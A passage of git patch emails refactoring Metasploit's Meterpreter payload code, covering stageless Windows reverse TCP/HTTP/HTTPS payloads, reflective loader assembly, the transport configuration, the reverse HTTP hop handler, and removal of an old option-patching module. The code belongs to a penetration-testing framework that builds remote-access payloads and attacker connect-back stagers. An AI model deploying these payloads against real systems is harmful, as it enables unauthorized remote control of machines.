Metasploit3 :exitfunk => nil, :expiration => datastore['SessionExpirationTimeout'].to_i, :uuid => opts[:uuid], - :transports => [ generate_transport_config(opts) ], + :transports => [transport_config(opts)], :extensions => [], :ascii_str => true } diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 85ac3c1da8..19a18983db 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -50,7 +50,7 @@ module Metasploit4 :exitfunk => datastore['EXITFUNC'], :expiration => datastore['SessionExpirationTimeout'].to_i, :uuid => opts[:uuid], - :transports => [ generate_transport_config(opts) ], + :transports => [transport_config(opts)], :extensions => [] } diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index 0380b3b461..e2c0acf9b0 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -50,7 +50,7 @@ module Metasploit4 :exitfunk => datastore['EXITFUNC'], :expiration => datastore['SessionExpirationTimeout'].to_i, :uuid => opts[:uuid], - :transports => [ generate_transport_config(opts) ], + :transports => [transport_config(opts)], :extensions => [] } From c2dc4677fb607463f568c8932df731ac9421ed9a Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 4 May 2015 22:36:59 +1000 Subject: [PATCH 21/42] Prevent stagless from overwriting socket Stageless payloads need to have the socket FD left along (ie. 0) otherwise each of them will think that the socket is already open. Instead we need to make sure it's left as 0 as per the configuration and from there the stageless code will fire up a new socket based on the transport in question. --- lib/msf/core/payload/windows/meterpreter_loader.rb | 13 +++++++++++-- .../core/payload/windows/x64/meterpreter_loader.rb | 13 +++++++++++-- .../singles/windows/meterpreter_bind_tcp.rb | 4 ++-- .../singles/windows/meterpreter_reverse_http.rb | 2 +- .../singles/windows/meterpreter_reverse_https.rb | 2 +- .../singles/windows/meterpreter_reverse_ipv6_tcp.rb | 2 +- .../singles/windows/meterpreter_reverse_tcp.rb | 4 +++- .../singles/windows/x64/meterpreter_bind_tcp.rb | 2 +- .../singles/windows/x64/meterpreter_reverse_http.rb | 2 +- .../windows/x64/meterpreter_reverse_https.rb | 2 +- .../windows/x64/meterpreter_reverse_ipv6_tcp.rb | 2 +- .../singles/windows/x64/meterpreter_reverse_tcp.rb | 2 +- 12 files changed, 35 insertions(+), 15 deletions(-) diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index 614d0b6c8f..6c4b17acb6 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -50,7 +50,15 @@ module Payload::Windows::MeterpreterLoader ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ; offset from ReflectiveLoader() to the end of the DLL add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} + ^ + + unless opts[:stageless] + asm << %Q^ mov [ebx], edi ; write the current socket to the config + ^ + end + + asm << %Q^ push ebx ; push the pointer to the configuration start push 4 ; indicate that we have attached push eax ; push some arbitrary value for hInstance @@ -58,13 +66,14 @@ module Payload::Windows::MeterpreterLoader ^ end - def stage_meterpreter + def stage_meterpreter(stageless=false) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll')) asm_opts = { :rdi_offset => offset, - :length => dll.length + :length => dll.length, + :stageless => stageless } asm = asm_invoke_metsrv(asm_opts) diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb index 4b478d3e3f..aada494366 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb @@ -52,8 +52,16 @@ module Payload::Windows::MeterpreterLoader_x64 ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ; offset from ReflectiveLoader() to the end of the DLL add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} + ^ + + unless opts[:stageless] + asm << %Q^ ; store the comms socket handle mov dword ptr [rbx], edi + ^ + end + + asm << %Q^ mov r8, rbx ; r8 points to the extension list push 4 ; push up 4, indicate that we have attached pop rdx ; pop 4 into rdx @@ -61,13 +69,14 @@ module Payload::Windows::MeterpreterLoader_x64 ^ end - def stage_meterpreter + def stage_meterpreter(stageless=false) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x64.dll')) asm_opts = { :rdi_offset => offset, - :length => dll.length + :length => dll.length, + :stageless => stageless } asm = asm_invoke_metsrv(asm_opts) diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 81837ca006..1bc66a5b1d 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/transport_config' require 'msf/core/handler/bind_tcp' -require 'msf/core/payload/windows/_meterpreter_loader' +require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' @@ -39,7 +39,7 @@ module Metasploit4 end def generate - stage_meterpreter + generate_config + stage_meterpreter(true) + generate_config end def generate_config(opts={}) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index c4e5e8de39..b1fccc5e7f 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -39,7 +39,7 @@ module Metasploit4 end def generate - stage_meterpreter + generate_config + stage_meterpreter(true) + generate_config end def generate_config(opts={}) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index d58fa82c29..fd8e1d7b99 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -39,7 +39,7 @@ module Metasploit4 end def generate - stage_meterpreter + generate_config + stage_meterpreter(true) + generate_config end def generate_config(opts={}) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index 3057687037..75429f304f 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -40,7 +40,7 @@ module Metasploit4 end def generate - stage_meterpreter + generate_config + stage_meterpreter(true) + generate_config end def generate_config(opts={}) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 91214e5263..2a37898551 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -4,6 +4,7 @@ ## require 'msf/core' +require 'msf/core/transport_config' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' @@ -13,6 +14,7 @@ module Metasploit3 CachedSize = :dynamic + include Msf::TransportConfig include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader @@ -37,7 +39,7 @@ module Metasploit3 end def generate - stage_meterpreter + generate_config + stage_meterpreter(true) + generate_config end def generate_config(opts={}) diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index b33dd32aa5..d251fc512e 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -39,7 +39,7 @@ module Metasploit4 end def generate - stage_meterpreter + generate_config + stage_meterpreter(true) + generate_config end def generate_config(opts={}) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 60bfde2bf2..e62cbbe6fd 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -38,7 +38,7 @@ module Metasploit4 end def generate - stage_meterpreter + generate_config + stage_meterpreter(true) + generate_config end def generate_config(opts={}) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 5b124b5b74..2f5b4e419b 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -39,7 +39,7 @@ module Metasploit4 end def generate - stage_meterpreter + generate_config + stage_meterpreter(true) + generate_config end def generate_config(opts={}) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 0eb82bf986..ad36360295 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -40,7 +40,7 @@ module Metasploit4 end def generate - stage_meterpreter + generate_config + stage_meterpreter(true) + generate_config end def generate_config(opts={}) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 9b4f3817a6..180dddbc90 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -39,7 +39,7 @@ module Metasploit4 end def generate - stage_meterpreter + generate_config + stage_meterpreter(true) + generate_config end def generate_config(opts={}) From e45bf5cf51c95f6f0ba0419e7ea74c401f1cab7d Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 5 May 2015 07:35:49 +1000 Subject: [PATCH 22/42] Remove the URI patcher now that it's not used at all --- lib/msf/core/handler/reverse_http.rb | 1 - lib/rex/payloads/meterpreter.rb | 2 - lib/rex/payloads/meterpreter/patch.rb | 166 ------------------------ lib/rex/post/meterpreter/client_core.rb | 3 - 4 files changed, 172 deletions(-) delete mode 100644 lib/rex/payloads/meterpreter.rb delete mode 100644 lib/rex/payloads/meterpreter/patch.rb diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index b3b1139dc9..6b63080445 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -1,7 +1,6 @@ # -*- coding: binary -*- require 'rex/io/stream_abstraction' require 'rex/sync/ref' -require 'rex/payloads/meterpreter/patch' require 'rex/payloads/meterpreter/uri_checksum' require 'rex/post/meterpreter/packet' require 'rex/parser/x509_certificate' diff --git a/lib/rex/payloads/meterpreter.rb b/lib/rex/payloads/meterpreter.rb deleted file mode 100644 index d1c9127947..0000000000 --- a/lib/rex/payloads/meterpreter.rb +++ /dev/null @@ -1,2 +0,0 @@ -# -*- coding: binary -*- -require 'rex/payloads/meterpreter/patch' diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb deleted file mode 100644 index 300736ee75..0000000000 --- a/lib/rex/payloads/meterpreter/patch.rb +++ /dev/null @@ -1,166 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Payloads - module Meterpreter - ### - # - # Provides methods to patch options into metsrv stagers - # - ### - module Patch - - # - # Replace the transport string - # - def self.patch_transport!(blob, ssl) - str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00" - patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str) - end - - # - # Replace the URL - # - def self.patch_url!(blob, url) - unless patch_string!(blob, "https://#{'X' * 512}", url) - # If the patching failed this could mean that we are somehow - # working with outdated binaries, so try to patch with the - # old stuff. - patch_string!(blob, "https://#{'X' * 256}", url) - end - end - - # - # Replace the timeout data with the actual timeout values. - # - def self.patch_timeouts!(blob, opts) - i = blob.index("METERP_TIMEOUTS\x00") - if i - data = [opts[:expiration].to_i, opts[:comm_timeout].to_i, - opts[:retry_total].to_i, opts[:retry_wait].to_i].pack("VVVV") - blob[i, data.length] = data - end - end - - # - # Replace the user agent string with our option - # - def self.patch_ua!(blob, ua) - patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00") - end - - # - # Activate a custom proxy - # - def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type) - - if proxyhost && proxyhost.to_s != "" - proxyhost = proxyhost.to_s - proxyport = proxyport.to_s || "8080" - proxyinfo = proxyhost + ":" + proxyport - if proxyport == "80" - proxyinfo = proxyhost - end - if proxy_type.to_s.upcase == 'HTTP' - proxyinfo = 'http://' + proxyinfo - else #socks - proxyinfo = 'socks=' + proxyinfo - end - proxyinfo << "\x00" - patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo) - end - end - - # - # Proxy authentification - # - def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type) - - return if proxy_type.nil? || proxy_type.upcase == 'SOCKS' - - if proxy_username && !proxy_username.empty? - unless patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}", - proxy_username + "\x00") - raise ArgumentError, "Unable to patch Proxy Username" - end - end - - if proxy_password && !proxy_password.empty? - unless patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}", - proxy_password + "\x00") - raise ArgumentError, "Unable to patch Proxy Password" - end - end - end - - # - # Patch the ssl cert hash - # - def self.patch_ssl_check!(blob, ssl_cert_hash) - # SSL cert location is an ASCII string, so no need for - # WCHAR support - if ssl_cert_hash - i = blob.index("METERPRETER_SSL_CERT_HASH\x00") - if i - blob[i, ssl_cert_hash.length] = ssl_cert_hash - end - end - end - - # - # Patch options into metsrv for reverse HTTP payloads - # - def self.patch_passive_service!(blob, opts) - - patch_transport!(blob, opts[:ssl]) - patch_url!(blob, opts[:url]) - patch_timeouts!(blob, opts) - patch_ua!(blob, opts[:ua]) - patch_ssl_check!(blob, opts[:ssl_cert_hash]) - patch_proxy!(blob, - opts[:proxy_host], - opts[:proxy_port], - opts[:proxy_type] - ) - patch_proxy_auth!(blob, - opts[:proxy_user], - opts[:proxy_pass], - opts[:proxy_type] - ) - - end - - # - # Patch an ASCII value in the given payload. If not found, try WCHAR instead. - # - def self.patch_string!(blob, search, replacement) - result = false - - i = blob.index(search) - if i - blob[i, replacement.length] = replacement - result = true - else - i = blob.index(wchar(search)) - if i - r = wchar(replacement) - blob[i, r.length] = r - result = true - end - end - - result - end - - private - - # - # Convert the given ASCII string into a WCHAR string (dumb, but works) - # - def self.wchar(str) - str.to_s.unpack("C*").pack("v*") - end - end - end - end -end diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 1c5e09e971..0fa4f3032b 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -8,9 +8,6 @@ require 'rex/post/meterpreter/client' # argument for moving the meterpreter client into the Msf namespace. require 'msf/core/payload/windows' -# Provides methods to patch options into the metsrv stager. -require 'rex/payloads/meterpreter/patch' - # URI uuid and checksum stuff require 'msf/core/payload/uuid' require 'rex/payloads/meterpreter/uri_checksum' From cf62d1fd7ca8f653e4994f585b31ae224699b25a Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 5 May 2015 09:27:01 +1000 Subject: [PATCH 23/42] Remove patch and old stageless stuff --- lib/msf/core/handler/reverse_hop_http.rb | 37 ++++----- .../core/handler/reverse_http/stageless.rb | 75 ------------------- .../windows/meterpreter_reverse_http.rb | 6 +- .../windows/meterpreter_reverse_https.rb | 6 +- .../windows/x64/meterpreter_reverse_http.rb | 6 +- .../windows/x64/meterpreter_reverse_https.rb | 6 +- 6 files changed, 27 insertions(+), 109 deletions(-) delete mode 100644 lib/msf/core/handler/reverse_http/stageless.rb diff --git a/lib/msf/core/handler/reverse_hop_http.rb b/lib/msf/core/handler/reverse_hop_http.rb index 47f7dfa6b1..b4b715d1f4 100644 --- a/lib/msf/core/handler/reverse_hop_http.rb +++ b/lib/msf/core/handler/reverse_hop_http.rb @@ -90,7 +90,7 @@ module ReverseHopHttp ReverseHopHttp.hop_handlers[full_uri] = self self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri, self) do |uri, hop_http| - hop_http.send_new_stage # send stage to hop + hop_http.send_new_stage(uri) # send stage to hop delay = 1 # poll delay # Continue to loop as long as at least one handler or one session is depending on us until hop_http.refs < 1 && hop_http.handlers.empty? @@ -138,7 +138,7 @@ module ReverseHopHttp :ssl => false, }) # send new stage to hop so next inbound session will get a unique ID. - hop_http.send_new_stage + hop_http.send_new_stage(uri) else hop_http.lock.unlock end @@ -241,34 +241,27 @@ module ReverseHopHttp # # Generates and sends a stage up to the hop point to be ready for the next client # - def send_new_stage - conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) + def send_new_stage(uri) + # try to get the UUID out of the existing URI + info = process_uri_resource(uri) + uuid = info[:uuid] || Msf::Payload::UUID.new + + # generate a new connect + sum = uri_checksum_lookup(:connect) + conn_id = generate_uri_uuid(sum, uuid) url = full_uri + conn_id + "/\x00" print_status("Preparing stage for next session #{conn_id}") - blob = stage_payload - # - # Patch options into the payload - # - Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob, - :ssl => ssl?, - :url => url, - :expiration => datastore['SessionExpirationTimeout'], - :comm_timeout => datastore['SessionCommunicationTimeout'], - :ua => datastore['MeterpreterUserAgent'], - :proxy_host => datastore['PayloadProxyHost'], - :proxy_port => datastore['PayloadProxyPort'], - :proxy_type => datastore['PayloadProxyType'], - :proxy_user => datastore['PayloadProxyUser'], - :proxy_pass => datastore['PayloadProxyPass']) - - blob = encode_stage(blob) + blob = stage_payload({ + :uuid => uuid, + :uri => conn_id + }) #send up crequest = mclient.request_raw( 'method' => 'POST', 'uri' => control, - 'data' => blob, + 'data' => encode_stage(blob), 'headers' => {'X-init' => 'true'} ) res = mclient.send_recv(crequest) diff --git a/lib/msf/core/handler/reverse_http/stageless.rb b/lib/msf/core/handler/reverse_http/stageless.rb deleted file mode 100644 index 2db120d4f4..0000000000 --- a/lib/msf/core/handler/reverse_http/stageless.rb +++ /dev/null @@ -1,75 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'rex/parser/x509_certificate' -require 'msf/core/payload/uuid_options' - -module Msf - -## -# -# Helper functionality for handling of stageless http(s) payloads -# -## - -module Handler::ReverseHttp::Stageless - - include Msf::Payload::Windows::VerifySsl - include Msf::Payload::UUIDOptions - - def initialize_stageless - register_options([ - OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]), - ], self.class) - end - - def generate_stageless(opts={}) - unless opts[:generator] - raise ArgumentError, "Stageless generation requires a generator argument" - end - - if opts[:ssl].nil? - raise ArgumentError, "Stageless generation requires an ssl argument" - end - - host = datastore['LHOST'] - host = "[#{host}]" if Rex::Socket.is_ipv6?(host) - url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}" - - # Use the init_connect mode because we're stageless. This will force - # MSF to generate a new URI when the first request is made. - url << "#{generate_uri_uuid_mode(:init_connect)}/" - - # invoke the given function to generate the architecture specific payload - opts[:generator].call(url) do |dll| - - verify_cert_hash = nil - if opts[:ssl] - verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], - datastore['HandlerSSLCert']) - end - - Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll, - :url => url, - :ssl => opts[:ssl], - :ssl_cert_hash => verify_cert_hash, - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i, - :ua => datastore['MeterpreterUserAgent'], - :proxy_host => datastore['PayloadProxyHost'], - :proxy_port => datastore['PayloadProxyPort'], - :proxy_type => datastore['PayloadProxyType'], - :proxy_user => datastore['PayloadProxyUser'], - :proxy_pass => datastore['PayloadProxyPass']) - end - - end - -end - -end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index b1fccc5e7f..c9c9dbc37d 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -6,7 +6,6 @@ require 'msf/core' require 'msf/core/transport_config' require 'msf/core/handler/reverse_http' -require 'msf/core/handler/reverse_http/stageless' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' @@ -19,7 +18,6 @@ module Metasploit4 include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader - include Msf::Handler::ReverseHttp::Stageless include Msf::Sessions::MeterpreterOptions def initialize(info = {}) @@ -35,7 +33,9 @@ module Metasploit4 'Session' => Msf::Sessions::Meterpreter_x86_Win )) - initialize_stageless + register_options([ + OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), + ], self.class) end def generate diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index fd8e1d7b99..3bad5f05f2 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -6,7 +6,6 @@ require 'msf/core' require 'msf/core/transport_config' require 'msf/core/handler/reverse_https' -require 'msf/core/handler/reverse_http/stageless' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' @@ -19,7 +18,6 @@ module Metasploit4 include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader - include Msf::Handler::ReverseHttp::Stageless include Msf::Sessions::MeterpreterOptions def initialize(info = {}) @@ -35,7 +33,9 @@ module Metasploit4 'Session' => Msf::Sessions::Meterpreter_x86_Win )) - initialize_stageless + register_options([ + OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), + ], self.class) end def generate diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index e62cbbe6fd..c8f1e8e665 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -5,7 +5,6 @@ require 'msf/core' require 'msf/core/handler/reverse_http' -require 'msf/core/handler/reverse_http/stageless' require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' @@ -18,7 +17,6 @@ module Metasploit4 include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader_x64 - include Msf::Handler::ReverseHttp::Stageless include Msf::Sessions::MeterpreterOptions def initialize(info = {}) @@ -34,7 +32,9 @@ module Metasploit4 'Session' => Msf::Sessions::Meterpreter_x64_Win )) - initialize_stageless + register_options([ + OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), + ], self.class) end def generate diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 2f5b4e419b..fe4e3aeb26 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -6,7 +6,6 @@ require 'msf/core' require 'msf/core/transport_config' require 'msf/core/handler/reverse_https' -require 'msf/core/handler/reverse_http/stageless' require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' @@ -19,7 +18,6 @@ module Metasploit4 include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader_x64 - include Msf::Handler::ReverseHttp::Stageless include Msf::Sessions::MeterpreterOptions def initialize(info = {}) @@ -35,7 +33,9 @@ module Metasploit4 'Session' => Msf::Sessions::Meterpreter_x64_Win )) - initialize_stageless + register_options([ + OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), + ], self.class) end def generate From 852961f05987fb7361f71fefc94c91f111bc3e1b Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 5 May 2015 11:45:22 +1000 Subject: [PATCH 24/42] Tweaking of transport behaviour, removal of patch --- lib/msf/core/payload/linux/reverse_tcp.rb | 12 +++++------- lib/rex/post/meterpreter/client_core.rb | 2 +- .../ui/console/command_dispatcher/core.rb | 9 +++++++++ modules/payloads/stagers/linux/x86/reverse_tcp.rb | 2 +- modules/payloads/stages/linux/x86/meterpreter.rb | 3 --- 5 files changed, 16 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index 5ecbaf4130..a2d0fca9da 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/transport_config' +require 'msf/core/payload/linux' module Msf @@ -51,7 +52,8 @@ module Payload::Linux::ReverseTcp # def generate_reverse_tcp(opts={}) asm = asm_reverse_tcp(opts) - Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string + buf = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string + apply_prepends(buf) end # @@ -59,7 +61,7 @@ module Payload::Linux::ReverseTcp # def required_space # Start with our cached default generated size - space = cached_size + space = 300 # Reliability adds 10 bytes for recv error checks space += 10 @@ -72,11 +74,10 @@ module Payload::Linux::ReverseTcp # Generate an assembly stub with the configured feature set and options. # # @option opts [Fixnum] :port The port to connect to - # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [String] :host The host IP to connect to # @option opts [Bool] :reliable Whether or not to enable error handling code # def asm_reverse_tcp(opts={}) - # TODO: reliability is coming #retry_count = [opts[:retry_count].to_i, 1].max #reliable = opts[:reliable] @@ -129,6 +130,3 @@ end end - - - diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 928d1de209..cfa80a6069 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -628,7 +628,7 @@ class ClientCore < Extension # do more magic work for http(s) payloads unless opts[:transport].ends_with?('tcp') sum = uri_checksum_lookup(:connect) - url << generate_uri_uuid(sum, uuid) + '/' + url << generate_uri_uuid(sum, opts[:uuid]) + '/' # TODO: randomise if not specified? opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index fc2594b354..72f27444bb 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -545,6 +545,7 @@ class Console::CommandDispatcher::Core end opts = { + :uuid => client.payload_uuid, :transport => nil, :lhost => nil, :lport => nil, @@ -562,6 +563,7 @@ class Console::CommandDispatcher::Core :verbose => false } + valid = true @@transport_opts.parse(args) do |opt, idx, val| case opt when '-c' @@ -598,9 +600,16 @@ class Console::CommandDispatcher::Core return end opts[:transport] = val + else + valid = false end end + unless valid + cmd_transport_help + return + end + case command when 'list' result = client.core.transport_list diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_tcp.rb index 9946a6409e..6127486d9c 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp.rb @@ -19,7 +19,7 @@ module Metasploit4 super(merge_info(info, 'Name' => 'Reverse TCP Stager', 'Description' => 'Connect back to the attacker', - 'Author' => [ 'skape', 'egypt', ], + 'Author' => [ 'skape', 'egypt' ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_X86, diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index 5e2888d33d..ce5a280aa0 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -8,9 +8,6 @@ require 'msf/base/sessions/meterpreter_x86_linux' require 'msf/base/sessions/meterpreter_options' require 'rex/elfparsey' -# Provides methods to patch options into the metsrv stager. -require 'rex/payloads/meterpreter/patch' - module Metasploit3 include Msf::Sessions::MeterpreterOptions From 2949bf053a9903bbef52a012e971ebed3965b4fe Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 5 May 2015 13:09:13 +1000 Subject: [PATCH 25/42] Remove old comment from ASM --- lib/msf/core/payload/windows/reverse_tcp.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 3dfd8de528..c0e8e5102f 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb 